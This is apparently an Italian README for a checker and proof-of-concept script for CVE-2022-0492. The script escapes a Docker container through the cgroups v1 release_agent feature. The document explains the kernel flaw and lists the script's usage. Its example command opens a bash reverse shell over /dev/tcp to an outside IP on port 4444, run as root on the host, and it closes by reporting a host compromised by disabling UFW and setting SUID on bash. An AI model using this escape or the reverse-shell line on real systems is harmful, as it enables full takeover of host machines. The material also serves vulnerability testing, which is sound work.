
Checker di breakout Docker e PoC tramite CAP_SYS_ADMIN e namespace utente (CVE-2022-0492)
Sfruttare la vulnerabilità richiede che l'attaccante abbia accesso a un container Docker in esecuzione su un sistema vulnerabile. Una volta sfruttata, l'attaccante può sfuggire dal container e ottenere il controllo completo del sistema host.
È stata trovata una vulnerabilità nella funzione cgroup_release_agent_write del kernel Linux, nel file kernel/cgroup/cgroup-v1.c. Questo difetto, in determinate circostanze, consente l'uso della funzionalità release_agent di cgroups v1 per aumentare i privilegi e bypassare l'isolamento dei namespace in modo imprevisto.
In parole più semplici, cgroups v1 ha una funzionalità chiamata release_agent che esegue un programma quando un processo nel cgroup termina. Se notify_on_release è abilitato, il kernel esegue il binario release_agent come root. Modificando il file release_agent, un attaccante può eseguire il proprio binario con privilegi elevati, prendendo il controllo del sistema. Tuttavia, il file release_agent è di proprietà di root, quindi solo un utente con accesso root può modificarlo.
# sh CVE-2022-0492.sh
[>] CVE-2022-0492 Docker Container Escape V
[>] Esegui questo script in un Docker per verificare la vulnerabilità o sfruttarla. (º___\/{
[>] Utilizzo:
sh CVE-2022-0492.sh --checker Verifica se il sistema è vulnerabile.
sh CVE-2022-0492.sh -c|--command <COMANDO> Esegue il comando sulla macchina host.
sh CVE-2022-0492.sh -h|--help Stampa il pannello di aiuto.
[>] Esempio:
sh CVE-2022-0492.sh --command 'bash -c "bash -i >& /dev/tcp/192.168.100.17/4444 0>&1"'
Utente root sulla macchina host compromesso disabilitando UFW e poi inviata una reverse shell.

Utente root sulla macchina host compromesso impostando SUID a bash, inviata anche una reverse shell.
